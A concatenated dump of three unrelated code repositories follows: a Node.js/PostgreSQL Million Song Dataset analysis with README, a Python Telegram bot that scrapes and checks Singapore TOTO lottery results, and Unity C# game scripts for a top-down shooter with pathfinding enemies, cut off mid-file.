console.log(`# Begin ${task.name} procedure`);
}
task.bind(this)()
.then(() => {
if (MODE !== 'prod') {
console.log(`# Task ${task.name} finished`);
console.timeEnd(task.name);
console.log('\n');
}
resolve();
})
.catch(reject);
})
}
main() {
const tasks = [
this.initializeTables,
this.fillDatabase,
this.indexTables,
this.getMostPopularTracks,
this.getUsersWithMostUniqueTracksListened,
this.getMostPopularArtist,
this.getMonthlyListenActivities,
this.getQueenFanboys,
this.quit
];
(async function() {
for (let i = 0; i < tasks.length; i++) {
await this.wrapTask(tasks[i]);
}
}.bind(this))();
}
reindexTables() {
const reindexTracks = this.client.query(
`reindex tracks`
).then(res => {
if (MODE !== 'prod') console.log('[index] tracks table has been reindexed.');
}).catch(err => {
console.error(err);
});
const reindexActivities = this.client.query(
`reindex listen_activities`
).then(res => {
if (MODE !== 'prod') console.log('[index] listen_activities table has been reindexed.');
}).catch(err => {
console.error(err);
});
return Promise.all([reindexTracks, reindexActivities]);
}
indexTables() {
const indexTracks = this.client.query(
`CREATE INDEX track_index ON tracks(track_id, artist_name, track_name)`
).then(res => {
if (MODE !== 'prod') console.log('[index] tracks table has been indexed.');
}).catch(err => {
console.error(err);
});
const indexActivities = this.client.query(
`CREATE INDEX activity_index ON listen_activities(track_id, user_id, activity_date)`
).then(res => {
if (MODE !== 'prod') console.log('[index] listen_activities table has been indexed.');
}).catch(err => {
console.error(err);
});
return Promise.all([indexTracks, indexActivities]);
}
initializeTables() {
const dropTracks = this.client.query(
`drop table if exists tracks`
).then(res => {
if (MODE !== 'prod') console.log('[init] Successfully deleted tracks table.');
}).catch(err => {
console.error(e.stack);
});
const dropActivities = this.client.query(
`drop table if exists listen_activities`
).then(res => {
if (MODE !== 'prod') console.log('[init] Successfully deleted listen_activities table.');
}).catch(err => {
console.error(e.stack);
});
const createTracks = this.client.query(
'CREATE TABLE IF NOT EXISTS tracks (recording_id TEXT, track_id TEXT, artist_name TEXT, track_name TEXT)'
).then(res => {
if (MODE !== 'prod') console.log('[init] Successfully created tracks table.');
}).catch(err => {
console.error(e.stack);
});
const createActivities = this.client.query(
'CREATE TABLE IF NOT EXISTS listen_activities (user_id TEXT, track_id TEXT, activity_date NUMERIC)'
).then(res => {
if (MODE !== 'prod') console.log('[init] Successfully created listen_activities table.');
}).catch(err => {
console.error(e.stack);
});
return Promise.all([
dropTracks,
dropActivities,
createTracks,
createActivities
]);
}
enableIndexes() {
const enableIndexActivities = this.client.query(
`UPDATE pg_index
SET indisready=true
WHERE indrelid = (
SELECT oid
FROM pg_class
WHERE relname='listen_activities'
)`
).then(() => {
if (MODE !== 'prod') console.log('[index] Indexes on listen_activities table have been enabled.');
}).catch(err => {
console.error(err);
});
const enableIndexTracks = this.client.query(
`UPDATE pg_index
SET indisready=true
WHERE indrelid = (
SELECT oid
FROM pg_class
WHERE relname='tracks'
)`
).then(() => {
if (MODE !== 'prod') console.log('[index] Indexes on tracks table have been enabled.');
}).catch(err => {
console.error(err);
});
return Promise.all([enableIndexActivities, enableIndexTracks]);
}
disableIndexes() {
const disableIndexActivities = this.client.query(
`UPDATE pg_index
SET indisready=false
WHERE indrelid = (
SELECT oid
FROM pg_class
WHERE relname='listen_activities'
)`
).then(() => {
if (MODE !== 'prod') console.log('[index] Indexes on listen_activities table have been disabled.');
}).catch(err => {
console.error(err);
});
const disableIndexTracks = this.client.query(
`UPDATE pg_index
SET indisready=false
WHERE indrelid = (
SELECT oid
FROM pg_class
WHERE relname='tracks'
)`
).then(() => {
if (MODE !== 'prod') console.log('[index] Indexes on tracks table have been disabled.');
}).catch(err => {
console.error(err);
});
return Promise.all([disableIndexActivities, disableIndexTracks]);
}
fillDatabase() {
const files = [
`${__dirname}/../listenActivities2.txt`,
`${__dirname}/../tracks2.txt`,
`${__dirname}/../test.txt`
];
const activityPromise = new Promise((resolve, reject) => {
const stream = this.client.query(copyFrom(`copy listen_activities (user_id, track_id, activity_date) FROM STDIN WITH DELIMITER '${REPLACED_FILE_SEPARATOR}'`));
const activityStream = fs.createReadStream(files[0]);
activityStream.on('error', reject);
stream.on('end', resolve);
stream.on('error', reject);
activityStream
.pipe(replaceStream(FILE_SEPARATOR, REPLACED_FILE_SEPARATOR))
.pipe(stream);
});
const trackPromise = new Promise((resolve, reject) => {
const stream = this.client.query(copyFrom(`COPY tracks (recording_id, track_id, artist_name, track_name) FROM STDIN WITH DELIMITER '${REPLACED_FILE_SEPARATOR}'`));
const trackStream = fs.createReadStream(files[1]);
trackStream.on('error', reject);
stream.on('end', resolve);
stream.on('error', reject);
trackStream
.pipe(replaceStream(FILE_SEPARATOR, REPLACED_FILE_SEPARATOR))
.pipe(stream);
});
return Promise.all([trackPromise, activityPromise]);
}
async getTracks() {
const tracks = await this.client.query({
rowMode: 'array',
text: 'SELECT * FROM tracks'
});
tracks.rows.forEach(track => {
console.log(track);
});
}
async getActivities() {
const activities = await this.client.query({
rowMode: 'array',
text: 'SELECT * FROM listen_activities'
});
activities.rows.forEach(activity => {
console.log(activity);
});
}
async getMostPopularTracks() {
const results = await this.client.query(
` SELECT track_name, artist_name, COUNT(*) as popularity_counter
FROM tracks JOIN listen_activities USING(track_id)
GROUP BY (artist_name, track_name)
ORDER BY popularity_counter DESC
FETCH FIRST 10 ROWS ONLY
`
);
if (MODE !== 'prod') {
console.table(results.rows);
} else {
for (let i = 0; i < results.rowCount; i++) {
console.log(`${results.rows[i].track_name} ${results.rows[i].artist_name} ${results.rows[i].popularity_counter}`);
}
}
}
async getUsersWithMostUniqueTracksListened() {
const results = await this.client.query(
` SELECT user_id, COUNT(DISTINCT track_id) as unique_tracks_counter
FROM tracks JOIN listen_activities USING(track_id)
GROUP BY user_id
ORDER BY unique_tracks_counter DESC
FETCH FIRST 10 ROWS ONLY
`
);
if (MODE !== 'prod') {
console.table(results.rows);
} else {
for (let i = 0; i < results.rowCount; i++) {
console.log(`${results.rows[i].user_id} ${results.rows[i].unique_tracks_counter}`);
}
}
}
async getMostPopularArtist() {
const results = await this.client.query(
` SELECT artist_name, COUNT(*) as listen_counter
FROM tracks JOIN listen_activities USING(track_id)
GROUP BY artist_name
FETCH FIRST 1 ROWS ONLY
`
);
if (MODE !== 'prod') {
console.table(results.rows);
} else {
console.log(`${results.rows[0].artist_name} ${results.rows[0].listen_counter}`);
}
};
async getMonthlyListenActivities() {
const results = await this.client.query(
` SELECT TO_CHAR(TO_TIMESTAMP(activity_date), 'fmMM') AS month, COUNT(*)
FROM tracks JOIN listen_activities USING(track_id) GROUP BY month ORDER BY month ASC`
);
if (MODE !=='prod') {
console.table(results.rows);
} else {
for (let i = 0; i < results.rowCount; i++) {
console.log(`${results.rows[i].month} ${results.rows[i].count}`);
}
}
}
async getQueenFanboys() {
const results = await this.client.query(
` SELECT COUNT(DISTINCT hits.track_id), activities.user_id FROM
listen_activities AS activities
JOIN (
SELECT COUNT(*) AS listen_counter, track_id
FROM tracks JOIN listen_activities
USING(track_id)
WHERE lower(artist_name) = 'queen'
GROUP BY track_id
ORDER BY listen_counter DESC
FETCH FIRST 3 ROWS ONLY
) as hits
ON activities.track_id = hits.track_id
GROUP BY user_id
HAVING COUNT(DISTINCT hits.track_id) = 3
ORDER BY user_id DESC
`
);
if (MODE !== 'prod') {
console.table(results.rows);
} else {
for (let i = 0; i < results.rowCount; i++) {
console.log(results.rows[i].user_id);
}
}
}
quit() {
return this.client.end();
}
}
module.exports = Database;
<file_sep># Million song dataset challenge
http://www.cs.put.poznan.pl/kdembczynski/lectures/pmds/labs/03/lab-03.pdf
http://www.cs.put.poznan.pl/kdembczynski/lectures/pmds/labs/04/lab-04.pdf
## Getting started
Instructions for how to get started with the project on your local machine.
### Prerequisites
You will need docker in order to run it.
You can get it from the official website https://www.docker.com/get-started.
You will also need some data to import to the database. The files that I've been using are accessible through the laboratory website.
| File | Download link |
| ------------- | ------------- |
| Unique tracks | [unique_tracks.zip](http://www.cs.put.poznan.pl/kdembczynski/lectures/data/unique_tracks.zip) |
| Listen activities (.zip) | [triplets_sample_20p.zip](http://www.cs.put.poznan.pl/kdembczynski/lectures/data/triplets_sample_20p.zip) |
### Installing
Clone the repo.
```
git clone https://github.com/pietersweter/million-song-challenge.git
```
Compose containers and run
```
docker-compose up
```
## Built With
* [Docker](https://www.docker.com)
* [Node.js](https://nodejs.org/en/)
* [PostgreSQL](https://www.postgresql.org)<file_sep>const mongoose = require('mongoose');
const { Schema } = mongoose;
const ListenActivitySchema = Schema({
userID: String,
trackID: String,
date: Date
});
const ListenActivity = mongoose.model('listenActivities', ListenActivitySchema);
module.exports = ListenActivity;
|
b6af4289384f71cf63c163222d9d509ded90c275
|
[
"JavaScript",
"Dockerfile",
"Markdown"
] | 4
|
Dockerfile
|
nuus7/million-song-challenge
|
b064827aa6eaf4fae37e3ce2c35d81366f5d670c
|
fa3a2b43c1329fe460c915fb062256a5cc921d04
|
refs/heads/main
|
<file_sep># TOTO toolkit
TOTO is a legalized form of lottery sold in Singapore. This tool helps to generate TOTO numbers and
also check the result for a given day.
## Installing the dependencies
`pip install -r requirements.txt`
## Running the scripts
`export TELEGRAM_TOTO_KEY=<your telegram bot API key>` <br/>
`export CHAT_ID=<your personal chat id>` <br/>
`export TOTO_CHAT_ID=<your group chat id>`<br/>
The CHAT_ID is used to receive admin messages while the TOTO_CHAT_ID is the group chat
to broadcast the scraped information. <br/>
`python3 toto_scraper.py`
This will scrape for TOTO results of the DATE field in the code and send the results to the
group chat if it is found.
`python3 toto_generator.py`
This will generate N rows of random TOTO numbers combination.
<file_sep>import telegram, json
import pprint
import os
bot = telegram.Bot(token=os.environ.get('TELEGRAM_TOTO_KEY'))
chat_id = os.environ.get('CHAT_ID')
group_chat_id = os.environ.get('TOTO_CHAT_ID')
def send_message(message):
try:
global bot, chat_id, group_chat_id
# Get your chat id using these lines
# updates = json.loads(bot.get_updates()[-1].to_json())
# chat_id = updates['message']['chat']['id']
# pprint.pprint(updates)
# print(chat_id)
bot.send_message(chat_id=group_chat_id, text=message, )
except Exception as e:
bot.send_message(chat_id=chat_id, text='Something went wrong... message:{}'.format(e))
print(e)
def send_check_message(message):
try:
global bot, group_chat_id
# Get your chat id using these lines
updates = json.loads(bot.get_updates()[-1].to_json())
chat_id = updates['message']['chat']['id']
pprint.pprint(updates)
print(chat_id)
bot.send_message(chat_id=chat_id, text=message, )
except Exception as e:
bot.send_message(chat_id=chat_id, text='Something went wrong... message:{}'.format(e))
print(e)
if __name__ == '__main__':
send_check_message("HELLO WORLD")
<file_sep>beautifulsoup4
python-telegram-bot
urllib3<file_sep>from urllib.request import urlopen
from bs4 import BeautifulSoup
import telebot
URL = 'https://www.singaporepools.com.sg/DataFileArchive/Lottery/Output/toto_result_top_draws_en.html?v' \
'=2021y5m19d12h45m '
DATE = 'Thu, 20 May 2021' # set your preferred date here
TICKETS = [[4, 8, 11, 27, 30, 35], [2, 4, 12, 16, 26, 34], [2, 16, 20, 36, 39, 49], [9, 15, 19, 33, 37, 44],
[1, 11, 14, 27, 30, 48]
, [2, 8, 25, 28, 31, 41], [9, 10, 14, 17, 19, 33], [4, 24, 30, 31, 36, 45], [11, 22, 33, 37, 46, 48]
, [17, 28, 32, 38, 42, 44], [14, 15, 25, 28, 32, 35], [1, 23, 27, 38, 39, 46], [3, 14, 22, 27, 29, 37]
, [8, 11, 15, 16, 27, 29], [15, 16, 34, 40, 42, 48], [9, 13, 21, 27, 42, 44], [3, 18, 23, 28, 33, 44]
, [3, 11, 22, 28, 46, 49], [1, 7, 12, 37, 45, 49], [2, 7, 13, 22, 39, 48], [4, 13, 24, 34, 43, 44]
, [15, 21, 22, 25, 35, 45], [10, 12, 17, 18, 20, 21, 26], [7, 10, 11, 25, 43, 36], [3, 8, 19, 20, 34, 41]
, [8, 16, 18, 33, 37, 40], [2, 4, 11, 18, 34, 35], [5, 14, 19, 29, 31, 40], [14, 15, 22, 30, 32, 40]]
# enter your toto numbers here, a list of lists
RESULTS_TO_SEND = ""
def get_winning_numbers(webpage, current_index):
global RESULTS_TO_SEND
winning_numbers = []
winning_number_start_index = current_index + 3
additional_number_start_index = current_index + 10
for i in range(winning_number_start_index, winning_number_start_index + 6):
winning_numbers.append(int(webpage[i]))
winning_numbers.append(int(webpage[additional_number_start_index]))
RESULTS_TO_SEND += f'Winning numbers:{winning_numbers[:6]}, Additional number: {int(webpage[additional_number_start_index])}' + '\n' * 2
return winning_numbers
def check_winning_numbers(winning_numbers, ticket):
global RESULTS_TO_SEND
additional_number = winning_numbers[-1]
winning_numbers = winning_numbers[:6]
RESULTS_TO_SEND += f'Checking ticket:{ticket}' + '\n'
total_points = 0.0
won_numbers = list(set(winning_numbers).intersection(ticket))
won_numbers.sort()
total_points += len(won_numbers)
if len(won_numbers) >= 3:
RESULTS_TO_SEND += f'{len(won_numbers)} numbers TIO! {won_numbers}' + '\n'
if additional_number in ticket:
RESULTS_TO_SEND += f'ADDITIONAL NUMBER TIO:{additional_number}' + '\n'
total_points += 0.5
return total_points
def get_result_from_points(points):
switcher = {
6.0: 'GROUP 1 JACKPOT! HUAT ALR LO!',
5.5: 'GROUP 2 PRIZE! 8% of prize pool',
5.0: 'GROUP 3 PRIZE! 5.5% of prize pool',
4.5: 'GROUP 4 PRIZE! 3% of prize pool',
4.0: 'GROUP 5 PRIZE! $50',
3.5: 'GROUP 6 PRIZE! $25',
3.0: 'GROUP 7 PRIZE! $10'
}
return switcher.get(points, 'KI HONG GAN NEVER WIN MONEY LA!')
def check_results(webpage):
global RESULTS_TO_SEND
webpage = webpage.split('\n')
webpage = [elem for elem in webpage if elem.strip()]
for i in range(len(webpage)):
if DATE in webpage[i]:
RESULTS_TO_SEND += f'FOUND DATE! [{DATE}]' + '\n' * 2
winning_numbers = get_winning_numbers(webpage, i)
RESULTS_TO_SEND += f'NUMBER OF TICKETS: {len(TICKETS)}' + '\n' * 2
for ticket in TICKETS:
points = check_winning_numbers(winning_numbers, ticket)
result = get_result_from_points(points)
RESULTS_TO_SEND += result + '\n' * 2
telebot.send_message(RESULTS_TO_SEND)
telebot.send_check_message(f'Running TOTO scraper...')
page = urlopen(URL)
html = page.read().decode("utf-8")
soup = BeautifulSoup(html, "html.parser")
check_results(soup.get_text())<file_sep>import random
TOTAL_ROWS = 10 # can be configured to generate different number of rows
TOTAL_COUNT = 6
lucky_row = []
for n in range(TOTAL_ROWS):
for i in range(TOTAL_COUNT):
lucky_number = random.randint(1, 49)
while lucky_number in lucky_row:
lucky_number = random.randint(1, 49)
lucky_row.append(lucky_number)
lucky_row.sort()
print(' '.join(str(e) for e in lucky_row))
lucky_row = []
|
9ff3096db4980e4d9224f3f3aaa152876711ac13
|
[
"Markdown",
"Python",
"Text"
] | 5
|
Markdown
|
chairz/toto_toolkit
|
39245326aeb0d5de97dab5fbb0ca5b6b192aed2d
|
865a1cb02ec7605a070c3499bc48b9e01653cdc1
|
refs/heads/master
|
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Projectile : Actor {
public Vector2 FireVector;
public float ProjectileSpeed;
void FixedUpdate()
{
Move(FireVector);
}
public override void Move(Vector2 move_vector)
{
move_vector.Scale(new Vector2(1f, 0.833f));
GetComponent<Rigidbody2D>().velocity = move_vector;
}
public void Initialize(Vector2 direction)
{
FireVector = direction.normalized * ProjectileSpeed;
base.Initialize();
}
void OnCollisionEnter2D(Collision2D coll)
{
if (coll.gameObject.tag == "Enemy")
{
Enemy hit_enemy = coll.gameObject.GetComponentInParent<Enemy>();
hit_enemy.Die();
Destroy(gameObject);
Destroy(EntitySprite.gameObject);
} else if (coll.gameObject.tag == "Terrain")
{
Destroy(gameObject);
Destroy(EntitySprite.gameObject);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Actor : BaseEntity {
public Sprite[] DirectionSprites;
protected SpriteRenderer sprite_renderer;
private float slice_angle;
private Vector2[] rotation_vectors;
// Update is called once per frame
protected override void Update () {
base.Update();
}
public virtual void Move(Vector2 move_vector)
{
Vector2 normal_move = move_vector.normalized;
int target_sprite_index = -1;
for (int i = 0; i < 8; i++)
{
if (Vector2.Dot(normal_move, rotation_vectors[i]) > slice_angle)
{
target_sprite_index = i;
}
}
if (target_sprite_index > -1) {
sprite_renderer.sprite = DirectionSprites[target_sprite_index];
}
move_vector.Scale(new Vector2(1f, 0.833f));
GetComponent<Rigidbody2D>().velocity = move_vector;
}
public override void Initialize()
{
base.Initialize();
slice_angle = Mathf.Cos(Mathf.Deg2Rad * 22.5f);
rotation_vectors = new Vector2[8];
rotation_vectors[0] = Vector2.up;
rotation_vectors[1] = (Vector2.up - Vector2.right).normalized;
rotation_vectors[2] = -Vector2.right;
rotation_vectors[3] = (-Vector2.up - Vector2.right).normalized;
rotation_vectors[4] = -Vector2.up;
rotation_vectors[5] = (-Vector2.up + Vector2.right).normalized;
rotation_vectors[6] = Vector2.right;
rotation_vectors[7] = (Vector2.up + Vector2.right).normalized;
sprite_renderer = EntitySprite.GetComponent<SpriteRenderer>();
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using Pathfinding;
public enum EnemyState {
IDLE,
CHASE,
DEAD,
REVIVING,
}
public class Enemy : Actor {
public float IdleMoveSpeed = 96f;
public float ChaseMoveSpeed = 128f;
public Path path;
public float nextWaypointDistance = 16f;
public float IdlePathingTargetDistance = 320f;
public EnemyState State;
public float CollisionStallTime = 1f;
public float IdleCheckTime = 1f;
public float ChaseCheckTime = 3f;
public float DeadCheckTime = 7f;
public float ReviveCheckTime = 3f;
public Sprite DeadSprite;
public Collider2D MainCollider;
public Collider2D ChildCollider;
public float ChaseRadius = 128f;
private Seeker seeker;
private int currentWaypoint;
private List<GameObject> collisionsToResolve = new List<GameObject>();
private float collisionStallTimer = 0f;
private float nextCheck;
private GameController controller;
protected override void Start()
{
base.Start();
seeker = GetComponent<Seeker>();
}
void FixedUpdate()
{
Vector2 moveVector = Vector2.zero;
switch (State)
{
case EnemyState.IDLE:
if (Time.time > nextCheck)
{
ChaseCheck();
}
// if we're still idle after that check...
if (State == EnemyState.IDLE)
{
if (path == null) {
SetIdleTarget();
}
else if (currentWaypoint > path.vectorPath.Count) {
path = null;
} else if (currentWaypoint == path.vectorPath.Count) {
path = null;
currentWaypoint++;
} else {
Vector3 dir = (path.vectorPath[currentWaypoint]
- transform.position).normalized;
dir *= IdleMoveSpeed;
moveVector = (Vector2)dir;
}
}
break;
case EnemyState.CHASE:
if (Time.time > nextCheck)
{
ChaseCheck();
}
// if we're still chasing
if (State == EnemyState.CHASE)
{
// if we've hit the end of the path, chase check again
if (path == null) {
ChaseCheck();
}
else if (currentWaypoint > path.vectorPath.Count) {
path = null;
} else if (currentWaypoint == path.vectorPath.Count) {
path = null;
currentWaypoint++;
} else {
Vector3 dir = (path.vectorPath[currentWaypoint]
- transform.position).normalized;
dir *= ChaseMoveSpeed;
moveVector = (Vector2)dir;
}
}
break;
case EnemyState.DEAD:
if (Time.time > nextCheck)
{
State = EnemyState.REVIVING;
sprite_renderer.sprite = DirectionSprites[0];
sprite_renderer.color = new Color(1f,1f,1f,0.5f);
nextCheck = Time.fixedTime + ReviveCheckTime;
}
break;
case EnemyState.REVIVING:
if (Time.time > nextCheck)
{
sprite_renderer.color = Color.white;
MainCollider.enabled = true;
ChildCollider.enabled = true;
State = EnemyState.IDLE;
}
break;
default:
break;
}
Move(moveVector);
if (path != null & State != EnemyState.DEAD)
{
if ((transform.position - path.vectorPath[currentWaypoint])
.sqrMagnitude < nextWaypointDistance*nextWaypointDistance) {
currentWaypoint++;
}
}
}
private void SetIdleTarget()
{
// in idle state, don't clobber seeker svp
if (seeker.IsDone())
{
Vector2 target_direction = Random.insideUnitCircle.normalized;
target_direction *= IdlePathingTargetDistance;
Vector3 target_point = transform.position + (Vector3)target_direction;
PathTo(target_point);
}
}
private void SetChaseTarget()
{
if(seeker.IsDone())
{
PathTo(controller.PlayerPosition);
}
}
public void PathTo(GameObject target)
{
PathTo(target.transform.position);
}
public void PathTo(Vector3 target)
{
seeker.StartPath(transform.position, target
+ new Vector3(16,16, 0),
OnPathComplete);
}
public void OnPathComplete(Path p)
{
if (!p.error) {
path = p;
// Reset the waypoint counter so that we start to move towards
// the first point in the path
currentWaypoint = 0;
if (State == EnemyState.IDLE)
{
nextCheck = Time.time + IdleCheckTime;
}
}
}
void ChaseCheck()
{
Vector2 vectorToPlayer = controller.PlayerPosition -
(Vector2)transform.position;
if (vectorToPlayer.magnitude < ChaseRadius)
{
State = EnemyState.CHASE;
nextCheck = Time.time + ChaseCheckTime;
SetChaseTarget();
} else {
RaycastHit2D hit = Physics2D.Raycast(
(Vector2)transform.position, vectorToPlayer,
vectorToPlayer.magnitude, LayerMask.GetMask("Player",
"Terrain"));
if (hit.collider.tag == "Player")
{
Debug.Log("Have line of sight!");
State = EnemyState.CHASE;
nextCheck = Time.time + ChaseCheckTime;
SetChaseTarget();
} else {
State = EnemyState.IDLE;
nextCheck = Time.time + IdleCheckTime;
SetIdleTarget();
}
}
}
public override void Initialize()
{
base.Initialize();
State = EnemyState.IDLE;
nextCheck = Time.fixedTime + IdleCheckTime;
controller = FindObjectOfType<GameController>();
}
public void InvalidatePath()
{
path = null;
collisionStallTimer = 0f;
}
public void Die()
{
// disable collider, and change sprite.
MainCollider.enabled = false;
ChildCollider.enabled = false;
sprite_renderer.sprite = DeadSprite;
State = EnemyState.DEAD;
nextCheck = Time.fixedTime + DeadCheckTime;
}
void OnCollisionEnter2D(Collision2D coll)
{
if (coll.gameObject.tag == "Enemy")
{
Enemy other = coll.gameObject.GetComponent<Enemy>();
if (other.State == EnemyState.IDLE & State == EnemyState.IDLE)
{
// both idle - just force repathing
InvalidatePath();
other.InvalidatePath();
} else {
Die();
other.Die();
}
collisionsToResolve.Add(coll.gameObject);
} else if (coll.gameObject.tag == "Player")
{
controller.Lose();
}
}
void OnCollisionStay2D(Collision2D coll)
{
collisionStallTimer += Time.fixedDeltaTime;
if (collisionStallTimer >= CollisionStallTime)
{
InvalidatePath();
}
}
void OnCollisionExit2D(Collision2D coll)
{
if (collisionsToResolve.Contains(coll.gameObject))
{
collisionsToResolve.Remove(coll.gameObject);
}
if (collisionsToResolve.Count == 0)
{
collisionStallTimer = 0f;
}
}
void OnDrawGizmos()
{
Gizmos.color = Color.blue;
Vector3 vectorToTarget = controller.PlayerPosition
- (Vector2)transform.position;
Gizmos.DrawRay(transform.position, vectorToTarget);
Gizmos.color = Color.red;
vectorToTarget.Normalize();
vectorToTarget *= ChaseRadius;
Gizmos.DrawRay(transform.position, vectorToTarget);
}
}
<file_sep>using UnityEngine;
public class PlayerEntity : Actor
{
[SerializeField]
private Vector2 cameraTarget;
public float CameraLookAheadFactor = 3f;
public Vector2 CameraTarget
{
get { return cameraTarget;}
private set { cameraTarget = value;}
}
public override void Move(Vector2 move_vector)
{
base.Move(move_vector);
Vector2 cameraTargetOffset = GetComponent<Rigidbody2D>().velocity * CameraLookAheadFactor;
cameraTargetOffset.y *= 0.6f;
cameraTarget = screenPosition + screenPositionOffset
+ cameraTargetOffset;
}
void OnTriggerEnter2D(Collider2D other)
{
if (other.tag == ("Finish"))
{
FindObjectOfType<GameController>().Win();
}
}
}<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
public enum ControllerState {
RUNNING,
WIN,
LOSE,
FADE_IN,
LOADING,
}
public class GameController : MonoBehaviour {
public PlayerEntity Player;
public bool ready = false;
public GameObject Target;
public float MoveSpeed = 120.0f;
public Camera WorldCamera;
public List<Enemy> Enemies;
public Vector2 PlayerPosition {
get { return (Vector2)Player.OffsetPosition; }
}
public Sprite[] PointerSprites;
public SpriteRenderer Pointer;
public float fadeTime;
public float ProjectileFireTime = 0.2f;
public SpriteRenderer Blackout;
private ControllerState state;
private PlayerFollower playerFollower;
public GameObject ProjectilePrefab;
private Vector2 last_movement;
private float nextProjectileFire;
public float fadeStartTime;
public Text scoreText;
// Use this for initialization
void Start () {
Time.timeScale = 0f;
playerFollower = FindObjectOfType<PlayerFollower>();
Debug.Log(playerFollower);
state = ControllerState.FADE_IN;
last_movement = Vector2.right;
nextProjectileFire = Time.time;
fadeStartTime = 0f;
scoreText.text = " LEVEL " + ScoreManager.Instance.Level + "\n LIVES " + ScoreManager.Instance.Lives;
}
// Update is called once per frame
void Update () {
if (Input.GetKeyDown(KeyCode.Escape))
{
Application.Quit();
}
if (ready)
{
if (state == ControllerState.FADE_IN)
{
if (fadeStartTime != 0f)
{
float fadeTime = (Time.unscaledTime - fadeStartTime);
Blackout.color = Color.Lerp(Color.white, Color.clear, fadeTime / 2);
if (fadeTime >= 2)
{
state = ControllerState.RUNNING;
Time.timeScale = 1f;
Blackout.enabled = false;
fadeStartTime = 0f;
}
} else {
fadeStartTime = Time.unscaledTime;
}
}
if (state == ControllerState.WIN || state == ControllerState.LOSE)
{
if (fadeStartTime == 0f)
fadeStartTime = Time.unscaledTime;
float fadeTime = (Time.unscaledTime - fadeStartTime);
Blackout.enabled = true;
Blackout.color = Color.Lerp(Color.clear, Color.white, fadeTime / 2);
if (fadeTime >= 2)
{
if (state == ControllerState.WIN)
{
ScoreManager.Instance.Level++;
} else
{
ScoreManager.Instance.Lives--;
}
if (ScoreManager.Instance.Level > 5)
{
SceneManager.LoadScene("win");
} else if (ScoreManager.Instance.Lives < 0)
{
SceneManager.LoadScene("lose");
} else {
SceneManager.LoadScene("main");
}
state = ControllerState.LOADING;
}
}
if (state == ControllerState.LOADING)
{
Blackout.color = Color.white;
Blackout.enabled = true;
}
if (state == ControllerState.RUNNING)
{
scoreText.text = " LEVEL " + ScoreManager.Instance.Level + "\n LIVES " + ScoreManager.Instance.Lives;
}
if (Input.GetKeyDown(KeyCode.F5))
{
Win();
}
if (Input.GetKeyDown(KeyCode.F6))
{
foreach (Enemy enemy in Enemies)
{
enemy.PathTo(Player.gameObject);
}
}
if (Target != null)
{
RaycastHit2D pointer_location = Physics2D.Linecast(
WorldCamera.transform.position,
(Vector2)Target.transform.position + new Vector2(16, 16),
LayerMask.GetMask("UI"));
if (pointer_location.collider == null)
{
Pointer.enabled = false;
} else {
if (pointer_location.collider.name == "Pointer_Collider_Top")
{
Pointer.sprite = PointerSprites[0];
} else if (pointer_location.collider.name ==
"Pointer_Collider_Left")
{
Pointer.sprite = PointerSprites[1];
} else if (pointer_location.collider.name ==
"Pointer_Collider_Bottom")
{
Pointer.sprite = PointerSprites[2];
} else if (pointer_location.collider.name ==
"Pointer_Collider_Right")
{
Pointer.sprite = PointerSprites[3];
}
Pointer.enabled = true;
Pointer.transform.position = pointer_location.point;
}
}
} else {
Blackout.color = Color.white;
Blackout.enabled = true;
}
}
void FixedUpdate () {
DoMovement();
}
void DoMovement() {
float x_movement = Input.GetAxis("Horizontal") * MoveSpeed;
// fudge aspect ratio correction for movement
float y_movement = Input.GetAxis("Vertical") * MoveSpeed;
Vector2 movement = new Vector2(x_movement, y_movement);
Player.Move(movement);
if (movement.magnitude > 0)
last_movement = movement;
if ((Input.GetButton("Fire1") | Input.GetButton("Fire2") | Input.GetButton("Fire3") | Input.GetButton("Jump")) & Time.time > nextProjectileFire)
{
Projectile new_projectile= Instantiate(ProjectilePrefab, (Vector3)PlayerPosition, Quaternion.identity).GetComponent<Projectile>();
new_projectile.Initialize(last_movement);
nextProjectileFire = Time.time + ProjectileFireTime;
}
}
public void RegisterPlayer (GameObject player)
{
Player = player.GetComponent<PlayerEntity>();
Player.Initialize();
Debug.Log(Player);
playerFollower.SetPlayer(Player);
}
public void RegisterTarget (GameObject target)
{
Target = target;
Target.GetComponent<StaticEntity>().Initialize();
}
public void RegisterEnemy (GameObject enemyGameObject)
{
Enemy enemy = enemyGameObject.GetComponent<Enemy>();
enemy.Initialize();
Enemies.Add(enemy);
}
public void Lose()
{
if (state == ControllerState.RUNNING)
{
state = ControllerState.LOSE;
Debug.Log("Womp womp");
Time.timeScale = 0f;
}
}
public void Win()
{
if (state == ControllerState.RUNNING)
{
state = ControllerState.WIN;
Debug.Log("Huzzah!");
Time.timeScale = 0f;
}
}
// void OnDrawGizmos()
// {
// Gizmos.color = Color.red;
// Vector3 vectorToTarget = (Target.transform.position - WorldCamera.transform.position);
// Gizmos.DrawRay(WorldCamera.transform.position, vectorToTarget);
// }
}
<file_sep>using UnityEngine;
using System.Collections;
public class ScoreManager : Singleton<ScoreManager>
{
protected ScoreManager() { }
public int Lives = 3;
public int Level = 1;
public void Reset()
{
Lives = 3;
Level = 1;
}
}<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerFollower : MonoBehaviour {
private Vector2 velocity;
public PlayerEntity Player;
public float CameraZOffset = -10f;
public float LerpSpeed = 1f;
public Transform Pointer;
[SerializeField]
private Vector2 world_position;
private GameController controller;
// Use this for initialization
void Start () {
controller = FindObjectOfType<GameController>();
}
// Update is called once per frame
void Update () {
world_position = Vector2.SmoothDamp(world_position, Player.CameraTarget,
ref velocity, LerpSpeed,
Mathf.Infinity, Time.deltaTime);
Vector3 screen_position = new Vector3(
Mathf.RoundToInt(world_position.x),
Mathf.RoundToInt(world_position.y),
CameraZOffset);
transform.position = screen_position;
if (controller.Target != null)
{
RaycastHit2D pointer_location = Physics2D.Linecast(
transform.position,
(Vector2)controller.Target.transform.position + new Vector2(16, 16),
LayerMask.GetMask("UI"));
if (pointer_location.collider == null)
{
controller.Pointer.enabled = false;
} else {
if (pointer_location.collider.name == "Pointer_Collider_Top")
{
controller.Pointer.sprite = controller.PointerSprites[0];
} else if (pointer_location.collider.name ==
"Pointer_Collider_Left")
{
controller.Pointer.sprite = controller.PointerSprites[1];
} else if (pointer_location.collider.name ==
